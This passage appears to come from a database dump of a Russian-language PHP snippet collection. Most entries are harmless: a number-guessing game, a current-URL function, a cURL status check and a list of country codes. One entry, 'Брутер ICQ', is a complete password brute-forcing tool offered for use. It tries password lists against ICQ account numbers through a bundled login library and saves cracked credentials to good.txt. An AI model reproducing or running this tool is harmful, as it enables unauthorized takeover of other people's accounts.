текстового поля больше загаданного числа, то выводим сообщение $msg = &quot;Загаданое число меньше $number&quot;; } elseif ($number == $_POST[&quot;hidden_number&quot;]) { //Если числа равны, то мы выиграли $msg = &quot;Число угадано! &lt;br/&gt; Загадано новое число!&quot;; $hidden_number = rand(0, 50); } } else { $number = 0; $hidden_number = rand(0, 50); //Загадываем число } echo $msg; echo \'&lt;form action=&quot;?&quot; method=&quot;POST&quot;&gt; &lt;input type=&quot;text&quot; value=&quot;\'.$number.\'&quot; name=&quot;number&quot; /&gt; &lt;br /&gt; &lt;input type=&quot;submit&quot; name=&quot;guess&quot; value=&quot;Играть&quot; /&gt;&lt;br/&gt; &lt;input type=&quot;hidden&quot; name=&quot;hidden_number&quot; value=&quot;\'.$hidden_number.\'&quot; /&gt; &lt;/form&gt;\'; ?&gt;','files_3826_2927_',151),(182,14,'получение полного URL текущей страницы','Сегодня задался вопросом нахождения такой функции, но найденные решения оказались какими-то перегруженными. Вот слегка отшлифованная функция, если кому вдруг тоже пригодится:','function selfURL(){ if(!isset($_SERVER[\'REQUEST_URI\'])) $suri = $_SERVER[\'PHP_SELF\']; else $suri = $_SERVER[\'REQUEST_URI\']; $s = empty($_SERVER[&quot;HTTPS&quot;]) ? \'\' : ($_SERVER[&quot;HTTPS&quot;] == &quot;on&quot;) ? &quot;s&quot; : &quot;&quot;; $sp=strtolower($_SERVER[&quot;SERVER_PROTOCOL&quot;]); $pr = substr($sp,0,strpos($sp,&quot;/&quot;)).$s; $pt = ($_SERVER[&quot;SERVER_PORT&quot;] == &quot;80&quot;) ? &quot;&quot; : (&quot;:&quot;.$_SERVER[&quot;SERVER_PORT&quot;]); return $pr.&quot;://&quot;.$_SERVER[\'SERVER_NAME\'].$pt.$suri; }','files_3100_4853_',151),(183,14,'Брутер ICQ','Брут аськи, юзайте юзверы :гг','&lt;? $good=&quot;good.txt&quot;; $bad=&quot;bad.txt&quot;; $pass=&quot;pass.txt&quot;; $stop=&quot;stop.txt&quot;; set_time_limit(0); ignore_user_abort(1); error_reporting(0); //(С)byHoRmOlD if (file_exists($stop)) { echo &quot;Уберите файл&quot;.$stop.&quot;для начала брута.&quot;; exit(); }  $icq = new WebIcqLite(); if(!empty($_GET[&quot;icq&quot;]) &amp;&amp; $_GET[&quot;brute2&quot;]) { $files= file($pass); $icq=$_GET[\'icq\']; for($i = 0; $i &lt;= count($files); $i++) { $file = trim($files[$i]); list($pass1) = explode(&quot;rn&quot;, $file); if(!$icq-&gt;connect($icq, $pass1[$i])) { $bads = fopen($bad, \'ab\'); fwrite($bads, $icq.&quot;;&quot;.$pass1.&quot;rn&quot;); fclose($bads); } else { $god = fopen($good, \'ab\'); fwrite($god,$icq.&quot;;&quot;.$pass1.&quot;rn&quot;); fclose($god); usleep(100); } } } elseif(!empty($_GET[&quot;pass&quot;]) &amp;&amp; $_GET[&quot;brute&quot;]) {  $file1=&quot;uins.txt&quot;; $files= file($file1); $pass=$_GET[\'pass\']; for($i = 0; $i &lt;= count($files); $i++) { $file = trim($files[$i]); list($uin) = explode(&quot;rn&quot;, $file); if(!$icq-&gt;connect($uin, $_GET[\'pass\'])) { $bads = fopen($bad, \'ab\'); fwrite($bads, $uin.&quot;rn&quot;); fclose($bads); } else { $god = fopen($good, \'ab\'); fwrite($god, $uin.&quot;;&quot;.$_POST[\'pass\'].&quot;rn&quot;); fclose($god); usleep(100); } } } else { ?&gt; &lt;html&gt; &lt;head&gt;&lt;title&gt;Pro-Html-Php ICQ-Brute version 1.5&lt;/title&gt; &lt;meta http-equiv=\'Content-Type\' content=\'text/html; charset=windows-1251\' /&gt; &lt;/head&gt; &lt;style&gt; html, * { background-color: #706A58; color: white; font-size: 11px; font-family: Tahoma; }  input, textarea { border: solid 1px; border-color:#FF0000; } pre{ font-size: 12px; font-family: Tahoma; } div{ font-size: 20px; font-family: Tahoma; background-color: #000033; } &lt;/style&gt; &lt;body&gt;  &lt;CENTER&gt;&lt;div&gt;Pro-Html-Php ICQ-Brute version 1.5&lt;/div&gt;&lt;/CENTER&gt; &lt;CENTER&gt;&lt;p&gt;&lt;fieldset&gt;&lt;legend&gt;Брут:&lt;/legend&gt;  &lt;form method=&quot;GET&quot;&gt; Введите пароль, который будет брутиться &lt;br/&gt;ко всем номерам в файле uins.txt&lt;br/&gt; &lt;input name=&quot;pass&quot; value=&quot;&quot;/&gt;&lt;br/&gt;&lt;BR&gt; &lt;INPUT TYPE=&quot;hidden&quot; name=&quot;brute&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;Начать брут&quot;/&gt; &lt;/form&gt;&lt;P&gt; &lt;form method=&quot;GET&quot;&gt; Введите icq номер &lt;br/&gt;к которому будут подбераться пароли из &lt;?echo $pass;?&gt;&lt;br/&gt; &lt;input name=&quot;icq&quot; value=&quot;&quot;/&gt;&lt;br/&gt;&lt;BR&gt; &lt;INPUT TYPE=&quot;hidden&quot; name=&quot;brute2&quot; value=&quot;1&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;Начать брут&quot;/&gt; &lt;/form&gt;&lt;P&gt; &lt;/fieldset&gt; &lt;BR&gt; &lt;p&gt;&lt;fieldset&gt;&lt;legend&gt;Генератор:&lt;/legend&gt;&lt;form method=&quot;GET&quot;&gt;Начальный номер: &lt;P&gt; &lt;input type=&quot;text&quot; name=&quot;uin_start&quot; /&gt; &lt;/p&gt; &lt;p&gt;Конечный номер: &lt;BR&gt; &lt;input type=&quot;text&quot; name=&quot;uin_end&quot; /&gt; &lt;INPUT TYPE=&quot;hidden&quot; name=&quot;gen&quot; value=&quot;1&quot;&gt; &lt;/p&gt; &lt;p&gt; &lt;? if(!empty($_GET[&quot;uin_start&quot;]) &amp;&amp; $_GET[&quot;gen&quot;]) { $uin1=$_GET[&quot;uin_start&quot;]; $uin2=$_GET[&quot;uin_end&quot;]; $gen = fopen(&quot;uins.txt&quot;, \'a+\'); for($uinR = $uin1; $uinR &lt;= $uin2; $uinR++) { fwrite($gen, $uins.&quot;;&quot;.$pass.&quot;rn&quot;); } echo &quot;Done.&quot;; fclose($gen); } ?&gt;&lt;/p&gt; &lt;p&gt; &lt;input type=&quot;submit&quot; value=&quot;Генирировать&quot; /&gt; &lt;/fieldset&gt;&lt;/p&gt; &lt;/form&gt; &lt;?php $file=&quot;uins.txt&quot;; $open=file($file); $open_1=file(\'bad.txt\'); $open_2=file(\'good.txt\'); if (isset($_GET[&quot;clean&quot;]) &amp;&amp; $_GET[&quot;clean&quot;] == &quot;uins&quot;) { $handle = fopen($file, &quot;w&quot;); fclose($handle); echo &quot;&lt;b&gt;&lt;font color=&quot;green&quot;&gt;Внимание:&lt;/font&gt; файл &quot;.$file.&quot; очищен&lt;/b&gt;&lt;br&gt;&lt;br&gt;&quot;; } if (isset($_GET[&quot;clean&quot;]) &amp;&amp; $_GET[&quot;clean&quot;] == &quot;bad&quot;) { $handle = fopen($bad, &quot;w&quot;); fclose($handle); echo &quot;&lt;b&gt;&lt;font color=&quot;green&quot;&gt;Внимание:&lt;/font&gt; файл &quot;.$bad.&quot; очищен&lt;/b&gt;&lt;br&gt;&lt;br&gt;&quot;; } if (isset($_GET[&quot;clean&quot;]) &amp;&amp; $_GET[&quot;clean&quot;] == &quot;good&quot;) { $handle = fopen($good, &quot;w&quot;); fclose($handle); echo &quot;&lt;b&gt;&lt;font color=&quot;green&quot;&gt;Внимание:&lt;/font&gt; файл &quot;.$good.&quot; очищен&lt;/b&gt;&lt;br&gt;&lt;br&gt;&quot;; } if(!file_exists($file)) { echo &quot;Необходимо создать файл &lt;font style=\'color: #ED63A5\'&gt;&quot;.$file.&quot;&lt;/font&gt; и вписать в него номера для брута&lt;br /&gt;&quot;; } else { if(filesize($file) == 0 ) { echo &quot;Файл &lt;font style=\'color: #ED63A5\'&gt;&quot;.$file.&quot;&lt;/font&gt; пустой...необходимо вписать в него номера для брута&lt;br /&gt;&quot;; } else { echo &quot;Файл &lt;font style=\'color: #ED63A5\'&gt;&quot;.$file.&quot;&lt;/font&gt; имеет &quot;.count($open).&quot; номеров&lt;br /&gt;&lt;A HREF=&quot;?clean=uins&quot;&gt;Очистить файл&lt;/A&gt;&lt;BR&gt;&quot;; echo &quot;Файл &lt;font style=\'color: #ED63A5\'&gt;bad.txt&lt;/font&gt; имеет &quot;.count($open_1).&quot; номеров&lt;br /&gt;&lt;A HREF=&quot;?clean=bad&quot;&gt;Очистить файл&lt;/A&gt;&lt;BR&gt;&quot;; echo &quot;Файл &lt;font style=\'color: #ED63A5\'&gt;good.txt&lt;/font&gt; имеет &quot;.count($open_2).&quot; номеров&lt;br /&gt;&lt;A HREF=&quot;?clean=good&quot;&gt;Очистить файл&lt;/A&gt;&lt;BR&gt;&quot;; } if(filesize($good) == 0 ) {echo &quot;Ещё ничего не сбручено!&lt;P&gt;&lt;BR&gt;&quot;;} else{echo &quot;Сбручено &quot;.count($open_2).&quot; номера(ов).&lt;br&gt;&lt;pre&gt;&quot;.file_get_contents($good).&quot;&lt;/pre&gt;&lt;BR&gt;&lt;P&gt;&quot;;} } ?&gt;  &lt;small&gt;(C) HoRmOlD 2007.&lt;/small&gt; All for &lt;A HREF=&quot;http://XAKEPOK.org&quot;&gt;XAKEPOK.org&lt;/A&gt;,&lt;A HREF=&quot;http://Antichat.ru&quot;&gt;Antichat.ru&lt;/A&gt;.&lt;/CENTER&gt; &lt;/body&gt; &lt;/html&gt; &lt;? } ?&gt; &lt;?php /* * WebIcqLite: ICQ messages sender. v3.2b * (C) 2006 Sergey Akudovich, http://intrigue.ru/ * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * See http://www.gnu.org/copyleft/lesser.html * */  class WebIcqLite_TLV { var $type; var $size; var $error;  var $types = array ( \'UIN\' =&gt; 1, // 0x01 \'DATA\' =&gt; 2, // 0x02 \'CLIENT\' =&gt; 3, // 0x03 \'ERROR_URL\' =&gt; 4, // 0x04 \'RECONECT_HERE\' =&gt; 5, // 0x05 \'COOKIE\' =&gt; 6, // 0x06 \'SNAC_VERSION\' =&gt; 7, // 0x07 \'ERROR_SUBCODE\' =&gt; 8, // 0x08 \'DISCONECT_REASON\' =&gt; 9, // 0x09 \'RECONECT_HOST\' =&gt; 10, // 0x0A \'URL\' =&gt; 11, // 0x0B \'DEBUG_DATA\' =&gt; 12, // 0x0C \'SERVICE\' =&gt; 13, // 0x0D \'CLIENT_COUNTRY\' =&gt; 14, // 0x0E \'CLIENT_LNG\' =&gt; 15, // 0x0F \'SCRIPT\' =&gt; 16, // 0x10 \'USER_EMAIL\' =&gt; 17, // 0x11 \'OLD_PASSWORD\' =&gt; 18, // 0x12 \'REG_STATUS\' =&gt; 19, // 0x13 \'DISTRIB_NUMBER\' =&gt; 20, // 0x14 \'PERSONAL_TEXT\' =&gt; 21, // 0x15 \'CLIENT_ID\' =&gt; 22, // 0x16 \'CLI_MAJOR_VER\' =&gt; 23, // 0x17 \'CLI_MINOR_VER\' =&gt; 24, // 0x18 \'CLI_LESSER_VER\' =&gt; 25, // 0x19 \'CLI_BUILD_NUMBER\' =&gt; 26, // 0x1A // \'PASSWORD\' =&gt; 37 );  function setTLV($type, $value, $length = false) { switch ($length) { case 1: $format = \'c\'; break; case 2: $format = \'n\'; break; case 4: $format = \'N\'; break; default: $format = \'a*\'; break; } if ($length === false) { $length = strlen($value); } return pack(\'nn\'.$format, $this-&gt;types[$type], $length, $value); }  function getTLV($data) { $arr = unpack(\'n2\', substr($data, 0, 4)); $this-&gt;type = $arr[1]; $this-&gt;size = $arr[2]; return substr($data, 4, $this-&gt;size); }  function getTLVFragment($data) { $frg = unpack(\'cid/cversion/nsize\', substr($data, 0, 4)); $frg[\'data\'] = substr($data, 4, $frg[\'size\']); return $frg; } }  class WebIcqLite_SNAC extends WebIcqLite_TLV {  var $request_id = 0; var $uin;  function setSNAC0102() { $this-&gt;request_id++; $out = pack(\'nnnN\', 1, 2, 0, $this-&gt;request_id); $out .= pack(\'n*\', 1, 3, 272, 650); $out .= pack(\'n*\', 2, 1, 272, 650); $out .= pack(\'n*\', 3, 1, 272, 650); $out .= pack(\'n*\', 21, 1, 272, 650); $out .= pack(\'n*\', 4, 1, 272, 650); $out .= pack(\'n*\', 6, 1, 272, 650); $out .= pack(\'n*\', 9, 1, 272, 650); $out .= pack(\'n*\', 10, 1, 272, 650);  return $out; }  function setSNAC0406($uin, $message) { $this-&gt;request_id++; $cookie = microtime(); $out = pack(\'nnnNdnca*\', 4, 6, 0, $this-&gt;request_id, $cookie, 2, strlen($uin), $uin);  $capabilities = pack(\'H*\', \'094613494C7F11D18222444553540000\'); // utf-8 support // \'97B12751243C4334AD22D6ABF73F1492\' rtf support  $data = pack(\'nd\', 0, $cookie).$capabilities; $data .= pack(\'nnn\', 10, 2, 1); $data .= pack(\'nn\', 15, 0); $data .= pack(\'nnvvddnVn\', 10001, strlen($message)+62, 27, 8, 0, 0, 0, 3, $this-&gt;request_id); $data .= pack(\'nndnn\', 14, $this-&gt;request_id, 0, 0, 0); //45 $data .= pack(\'ncvnva*\', 1, 0, 0, 1, (strlen($message)+1), $message); $data .= pack(\'H*\', \'0000000000FFFFFF00\'); $out .= $this-&gt;setTLV(\'RECONECT_HERE\', $data); $out .= $this-&gt;setTLV(\'CLIENT\', \'\'); return $out; }  function setSNAC0406offline($uin, $message) { $this-&gt;request_id++; $cookie = microtime(); $out = pack(\'nnnNdnca*\', 4, 6, 0, $this-&gt;request_id, $cookie, 1, strlen($uin), $uin);  $data = pack(\'ccnc\', 5, 1, 1, 1); $data .= pack(\'ccnnna*\', 1, 1, strlen($message)+4, 3, 0, $message); $out .= $this-&gt;setTLV(\'DATA\', $data); $out .= $this-&gt;setTLV(\'CLIENT\', \'\'); $out .= $this-&gt;setTLV(\'COOKIE\', \'\'); return $out; }  function getSNAC0407($body) { if (strlen($body)) { $msg = unpack(\'nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize\', $body); if ($msg[\'family\'] == 4 &amp;&amp; $msg[\'subtype\'] == 7) { $body = substr($body, 21); $from = substr($body, 0, $msg[\'namesize\']); $channel = $msg[\'channel\']; $body = substr($body, $msg[\'namesize\']); $msg = unpack(\'nwarnlevel/nTLVnumber\', $body); $body = substr($body, 4); for ($i = 0; $i &lt;= $msg[\'TLVnumber\']; $i++) { $part = $this-&gt;getTLV($body); $body = substr($body, 4 + $this-&gt;size); if ($channel == 1 &amp;&amp; $this-&gt;type == 2) { while (strlen($part)) { $frg = $this-&gt;getTLVFragment($part); if ($frg[\'id\'] == 1 &amp;&amp; $frg[\'version\'] == 1) { return array(\'from\' =&gt; $from, \'message\' =&gt; substr($frg[\'data\'], 4)); } $part = substr($part, 4+$frg[\'size\']); } return false; } } } } return false; } function dump($str) { $f = fopen(\'dump\', \'a\'); fwrite($f, $str); fclose($f); }  }  class WebIcqLite_FLAP extends WebIcqLite_SNAC{  var $socet; var $command= 0x2A; var $channel; var $sequence; var $body; var $info = array(); var $size_flap;  function WebIcqLite_FLAP() { $this-&gt;sequence = rand(1, 30000); }  function getFLAP() { if($this-&gt;socet &amp;&amp; !socket_last_error($this-&gt;socet)) { $header = socket_read($this-&gt;socet, 6); if ($header) { $header = unpack(\'c2channel/n2size\', $header); $this-&gt;channel = $header[\'channel2\']; $this-&gt;size_flap = $header[\'size2\']; $this-&gt;body = socket_read($this-&gt;socet, $header[\'size2\']); return true; } else { return false; } } }  function parseCookieFLAP() { $this-&gt;getFLAP(); $this-&gt;info = array(); while($this-&gt;body != \'\') { $info = $this-&gt;getTLV($this-&gt;body); $key = array_search($this-&gt;type, $this-&gt;types); if($key) { $this-&gt;info[$key] = $info; } $this-&gt;body = substr($this-&gt;body, ($this-&gt;size+4)); } }  function parseAnswerFLAP() { $this-&gt;getFLAP(); $array = unpack(\'n3int/Nint\', $this-&gt;body); while ($array[\'int\'] != $this-&gt;request_id) { $this-&gt;getFLAP(); $array = unpack(\'n3int/Nint\', $this-&gt;body); }  $this-&gt;error = \'Unknown serwer answer\'; if ($array[\'int1\'] == 4) { switch ($array[\'int2\']) { case 1: $this-&gt;error = \'Error to sent message\'; return false; break; case 0x0c: return true; break; } }  $this-&gt;error = \'Unknown serwer answer\'; return false; }  function prepare() { $this-&gt;sequence++; $out = pack(\'ccnn\', $this-&gt;command, $this-&gt;channel, $this-&gt;sequence, strlen($this-&gt;body)).$this-&gt;body; return $out; } function login($uin, $password) { $this-&gt;getFLAP(); $this-&gt;uin = $uin; $this-&gt;body .= $this-&gt;setTLV(\'UIN\', &quot;$uin&quot;); $this-&gt;body .= $this-&gt;setTLV(\'DATA\', $this-&gt;xorpass($password)); $this-&gt;body .= $this-&gt;setTLV(\'CLIENT\', \'ICQBasic\'); $this-&gt;body .= $this-&gt;setTLV(\'CLIENT_ID\', 266, 2); $this-&gt;body .= $this-&gt;setTLV(\'CLI_MAJOR_VER\', 20, 2); $this-&gt;body .= $this-&gt;setTLV(\'CLI_MINOR_VER\', 34, 2); $this-&gt;body .= $this-&gt;setTLV(\'CLI_LESSER_VER\', 0, 2); $this-&gt;body .= $this-&gt;setTLV(\'CLI_BUILD_NUMBER\', 2321, 2); $this-&gt;body .= $this-&gt;setTLV(\'DISTRIB_NUMBER\', 1085, 4); $this-&gt;body .= $this-&gt;setTLV(\'CLIENT_LNG\', \'en\'); $this-&gt;body .= $this-&gt;setTLV(\'CLIENT_COUNTRY\', \'us\');  $this-&gt;channel = 1; $pack = $this-&gt;prepare(); socket_write($this-&gt;socet, $pack, strlen($pack)); $this-&gt;parseCookieFLAP(); return ($this-&gt;size_flap &gt; 0x100) ? true : false;  $this-&gt;body = 0x0000; $pack = $this-&gt;prepare(); socket_write($this-&gt;socet, $pack, strlen($pack)); $this-&gt;close();  if(isset($this-&gt;info[\'RECONECT_HERE\'])) { $url = explode(\':\', $this-&gt;info[\'RECONECT_HERE\']); if(!$this-&gt;open($url)) { $this-&gt;error = isset($this-&gt;info[\'DISCONECT_REASON\']) ? $this-&gt;info[\'DISCONECT_REASON\'] : \'Unable to reconnect\'; return false; } } else { $this-&gt;error = isset($this-&gt;info[\'DISCONECT_REASON\']) ? $this-&gt;info[\'DISCONECT_REASON\'] : \'UIN blocked, please try again 20 min later.\'; return false; }  $this-&gt;getFLAP(); $this-&gt;body .= $this-&gt;setTLV(\'COOKIE\', $this-&gt;info[\'COOKIE\']); $pack = $this-&gt;prepare(); if (!socket_write($this-&gt;socet, $pack, strlen($pack))) { $this-&gt;error = \'Can`t send cookie, server close connection\'; return false; } $this-&gt;getFLAP(); $this-&gt;body = $this-&gt;setSNAC0102(); $pack = $this-&gt;prepare(); if (!socket_write($this-&gt;socet, $pack, strlen($pack))) { $this-&gt;error = \'Can`t send ready signal, server close connection\'; return false; } return true; }  function write_message($uin, $message) { $this-&gt;body = $this-&gt;setSNAC0406($uin, $message); $pack = $this-&gt;prepare(); if (!socket_write($this-&gt;socet, $pack, strlen($pack))) { $this-&gt;error = \'Can`t send message, server close connection\'; return false; } if (! $this-&gt;parseAnswerFLAP()) { // try to send offline message  $this-&gt;body = $this-&gt;setSNAC0406offline($uin, $message); $pack = $this-&gt;prepare(); if (!socket_write($this-&gt;socet, $pack, strlen($pack))) { $this-&gt;error = \'Can`t send offline message, server close connection\'; return false; } if (! $this-&gt;parseAnswerFLAP()) { return false; } else { $this-&gt;error = \'Client is offline. Message sent to server.\'; return false; } }  return true; }  function read_message() { while($this-&gt;getFLAP()) { $message = $this-&gt;getSNAC0407($this-&gt;body); if($message){ return $message; } } return false; }  function xorpass($pass) { $roast = array(0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7c); $roasting_pass = \'\'; for ($i=0; $i&lt;strlen($pass); $i++) { $roasting_pass .= chr($roast[$i] ^ ord($pass{$i})); } return($roasting_pass); }  function open($url = array(\'login.icq.com\', 5190)) { $this-&gt;socet = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($this-&gt;socet &lt; 0 || $this-&gt;socet === false) { $this-&gt;error = &quot;socket_create() failed: reason: &quot; . socket_strerror($this-&gt;socet); return false; } $result = socket_connect($this-&gt;socet, gethostbyname($url[0]), $url[1]); if ($result &lt; 0 || $result === false) { $this-&gt;error = &quot;socket_connect() failed.nReason: ($result) &quot; . socket_strerror(socket_last_error($socket)); return false; } return true; }  function close() { return socket_close($this-&gt;socet); } }  class WebIcqLite extends WebIcqLite_FLAP {  function WebIcqLite () { $this-&gt;WebIcqLite_FLAP(); }  function is_connected() { if(!$this-&gt;socet || socket_last_error($this-&gt;socet)) { $this-&gt;error = socket_strerror(socket_last_error($socket)); return false; } return true; }  function connect($uin, $pass) { if (!$this-&gt;open()) { return false; }  return $this-&gt;login($uin, $pass); }  function disconnect() { return $this-&gt;close(); }  function get_message() { return $this-&gt;read_message(); }  function send_message($uin, $message) { return $this-&gt;write_message($uin, $message); } } ?&gt;','files_2074_5060_',151),(184,14,'проверка успешности загрузки страницы','Для проверки успешной загрузки какой-то страницы, можем сделать cURL запрос и проверить HTTP статус. Если загрузка произошла успешно, без всяких нюансов, то этот статус будет равен 200 (OK).','&lt;?php 02 function checkUrl($url) 03 { 04 // Простая проверка 05 if (!$url) 06 { 07 return false; 08 } 09  10 // Создание cURL ресурса и передача URL 11 $curl_resource = curl_init($url); 12  13 // Выполнение запроса 14 curl_setopt($curl_resource, CURLOPT_RETURNTRANSFER, true); 15 curl_exec($curl_resource); 16  17 // Проверка на статус 200 18 $result = (curl_getinfo($curl_resource, CURLINFO_HTTP_CODE) == 200) ? true : false; 19  20 curl_close($curl_resource); 21  22 return $result; 23 }','files_2933_2981_',151),(185,14,'Буквенные сокращения стран','Иногда возникает потребность узнать по сокращению полное название страны, поэтому добавлю заметку с этими самыми сокращениями названия стран мира.','&lt; ?php /** * Буквенные сокращения стран * автор: Nc_Soft * 27.03.09 */  $country=array( \'AC\' =&gt; \'Ascension Island (остров Вознесения)\', \'AD\' =&gt; \'Andorra (Андорра)\', \'AE\' =&gt; \'United Arab Emirates (Объединенные Арабские Эмираты)\', \'AF\' =&gt; \'Afghanistan (Афганистан)\', \'AG\' =&gt; \'Antigua and Barbuda (Антигуа и Барбуда)\', \'AI\' =&gt; \'Anguilla\', \'AL\' =&gt; \'Albania (Албания)\', \'AM\' =&gt; \'Armenia (Армения)\', \'AN\' =&gt; \'Netherlands Antilles (Голланские Антильские острова)\', \'AO\' =&gt; \'Angola (Ангола)\', \'AQ\' =&gt; \'Antarctica (Антарктика)\', \'AR\' =&gt; \'Argentina (Аргентина)\', \'AS\' =&gt; \'American Samoa (Американское Самоа)\', \'AT\' =&gt; \'Austria (Австрия)\', \'AU\' =&gt; \'Australia (Австралия)\', \'AW\' =&gt; \'Aruba (Аруба)\', \'AX\' =&gt; \'Aland Islands (Аландские острова)\', \'AZ\' =&gt; \'Azerbaijan (Азербайджан)\', \'BA\' =&gt; \'Bosnia and Herzegovina (Босния и Герцеговина)\', \'BB\' =&gt; \'Barbados (Барбадос)\', \'BD\' =&gt; \'Bangladesh (Бангладеш)\', \'BE\' =&gt; \'Belgium (Бельгия)\', \'BF\' =&gt; \'Burkina Faso (Буркина-Фасо)\', \'BG\' =&gt; \'Bulgaria (Болгария)\', \'BH\' =&gt; \'Bahrain (Бахрейн)\', \'BI\' =&gt; \'Burundi (Бурунди)\', \'BJ\' =&gt; \'Benin (Бенин)\', \'BM\' =&gt; \'Bermuda (Бермудские острова)\', \'BN\' =&gt; \'Brunei Darussalam (Бруней)\', \'BO\' =&gt; \'Bolivia (Боливия)\', \'BR\' =&gt; \'Brazil (Бразилия)\', \'BS\' =&gt; \'Bahamas (Багамские острова)\', \'BT\' =&gt; \'Bhutan (Бутан)\', \'BV\' =&gt; \'Bouvet Island\', \'BW\' =&gt; \'Botswana (Ботсвана)\', \'BY\' =&gt; \'Belarus (Беларусь)\', \'BZ\' =&gt; \'Belize (Белиз)\', \'CA\' =&gt; \'Canada (Канада)\', \'CC\' =&gt; \'Cocos (Keeling) Islands (Кокосовые острова)\', \'CD\' =&gt; \'Congo (Конго)\', \'CF\' =&gt; \'Central African Republic (Центральноафриканская Республика)\', \'CG\' =&gt; \'Congo (Конго)\', \'CH\' =&gt; \'Switzerland (Швейцария)\', \'CI\' =&gt; \'Cote dIvoire (Кот-дИвуар)\', \'CK\' =&gt; \'Cook Islands (острова Кука)\', \'CL\' =&gt; \'Chile (Чили)\', \'CM\' =&gt; \'Cameroon (Камерун)\', \'CN\' =&gt; \'China (Китай)\', \'CO\' =&gt; \'Colombia (Колумбия)\', \'CR\' =&gt; \'Costa Rica (Коста-Рика)\', \'CS\' =&gt; \'Serbia and Montenegro (Сербия и Черногория)\', \'CU\' =&gt; \'Cuba (Куба)\', \'CV\' =&gt; \'Cape Verde (Кабо-Верде)\', \'CX\' =&gt; \'Christmas Island (остров Рождества)\', \'CY\' =&gt; \'Cyprus (Кипр)\', \'CZ\' =&gt; \'Czech Republic (Чехия)\', \'DE\' =&gt; \'Germany (Германия)\', \'DJ\' =&gt; \'Djibouti (Джибути)\', \'DK\' =&gt; \'Denmark (Дания)\', \'DM\' =&gt; \'Dominica (Доминика)\', \'DO\' =&gt; \'Dominican Republic (Доминиканская Республика)\', \'DZ\' =&gt; \'Algeria (Алжир)\', \'EC\' =&gt; \'Ecuador (Эквадор)\', \'EE\' =&gt; \'Estonia (Эстония)\', \'EG\' =&gt; \'Egypt (Египет)\', \'EH\' =&gt; \'Western Sahara (Западная Сахара)\', \'ER\' =&gt; \'Eritrea (Эритрея)\', \'ES\' =&gt; \'Spain (Испания)\', \'ET\' =&gt; \'Ethiopia (Эфиопия)\', \'FI\' =&gt; \'Finland (Финляндия)\', \'FJ\' =&gt; \'Fiji (Фиджи)\', \'FK\' =&gt; \'Falkland Islands (Фолклендские острова)\', \'FM\' =&gt; \'Micronesia (Микронезия)\', \'FO\' =&gt; \'Faroe Islands (Фарерские острова)\', \'FR\' =&gt; \'France (Франция)\', \'GA\' =&gt; \'Gabon (Габон)\', \'GB\' =&gt; \'United Kingdom (Соединенное Королевство Великобритании и Северной Ирландии)\', \'GD\' =&gt; \'Grenada (Гренада)\', \'GE\' =&gt; \'Georgia (Грузия)\', \'GF\' =&gt; \'French Guiana (Французская Гвиана)\', \'GG\' =&gt; \'Guernsey (остров Гернси)\', \'GH\' =&gt; \'Ghana (Гана)\', \'GI\' =&gt; \'Gibraltar (Гибралтар)\', \'GL\' =&gt; \'Greenland (Гренландия)\', \'GM\' =&gt; \'Gambia (Гамбия)\', \'GN\' =&gt; \'Guinea (Гвинея)\', \'GP\' =&gt; \'Guadeloupe (Гваделупа)\', \'GQ\' =&gt; \'Equatorial Guinea (Экваториальная Гвинея)\', \'GR\' =&gt; \'Greece (Греция)\', \'GS\' =&gt; \'South Georgia and the South Sandwich Islands (Южная Джорджия и Южные Сандвичевы острова)\', \'GT\' =&gt; \'Guatemala (Гватемала)\', \'GU\' =&gt; \'Guam (Гуам)\', \'GW\' =&gt; \'Guinea-Bissau (Гвинея-Бисау)\', \'GY\' =&gt; \'Guyana (Гайана)\', \'HK\' =&gt; \'Hong Kong (Гонконг)\', \'HM\' =&gt; \'Heard and McDonald Islands\', \'HN\' =&gt; \'Honduras (Гондурас)\', \'HR\' =&gt; \'Croatia/Hrvatska (Хорватия)\', \'HT\' =&gt; \'Haiti (Гаити)\', \'HU\' =&gt; \'Hungary (Венгрия)\', \'ID\' =&gt; \'Indonesia (Индонезия)\', \'IE\' =&gt; \'Ireland (Ирландия)\', \'IL\' =&gt; \'Israel (Израиль)\', \'IM\' =&gt; \'Isle of Man (остров Мэн)\', \'IN\' =&gt; \'India (Индия)\', \'IO\' =&gt; \'British Indian Ocean Territory\', \'IQ\' =&gt; \'Iraq (Ирак)\', \'IR\' =&gt; \'Iran (Иран)\', \'IS\' =&gt; \'Iceland (Исландия)\', \'IT\' =&gt; \'Italy (Италия)\', \'JE\' =&gt; \'Jersey (остров Джерси)\', \'JM\' =&gt; \'Jamaica (Ямайка)\', \'JO\' =&gt; \'Jordan (Иордания)\', \'JP\' =&gt; \'Japan (Япония)\', \'KE\' =&gt; \'Kenya (Кения)\', \'KG\' =&gt; \'Kyrgyzstan (Кыргызстан)\', \'KH\' =&gt; \'Cambodia (Камбоджа)\', \'KI\' =&gt; \'Kiribati (Кирибати)\', \'KM\' =&gt; \'Comoros (Коморские острова)\', \'KN\' =&gt; \'Saint Kitts and Nevis (Сент-Китс и Невис)\', \'KP\' =&gt; \'Korea (Северная Корея)\', \'KR\' =&gt; \'Korea (Южная Корея)\', \'KW\' =&gt; \'Kuwait (Кувейт)\', \'KY\' =&gt; \'Cayman Islands (Каймановы острова)\', \'KZ\' =&gt; \'Kazakhstan (Казахстан)\', \'LA\' =&gt; \'Lao (Лаос)\', \'LB\' =&gt; \'Lebanon (Ливан)\', \'LC\' =&gt; \'Saint Lucia (Сент-Люсия)\', \'LI\' =&gt; \'Liechtenstein (Лихтенштейн)\', \'LK\' =&gt; \'Sri Lanka (Шри-Ланка)\', \'LR\' =&gt; \'Liberia (Либерия)\', \'LS\' =&gt; \'Lesotho (Лесото)\', \'LT\' =&gt; \'Lithuania (Литва)\', \'LU\' =&gt; \'Luxembourg (Люксембург)\', \'LV\' =&gt; \'Latvia (Латвия)\', \'LY\' =&gt; \'Libya (Ливия)\', \'MA\' =&gt; \'Morocco (Марокко)\', \'MC\' =&gt; \'Monaco (Монако)\', \'ME\' =&gt; \'Montenegro (Монтенегро)\', \'MD\' =&gt; \'Moldova (Молдова)\', \'MG\' =&gt; 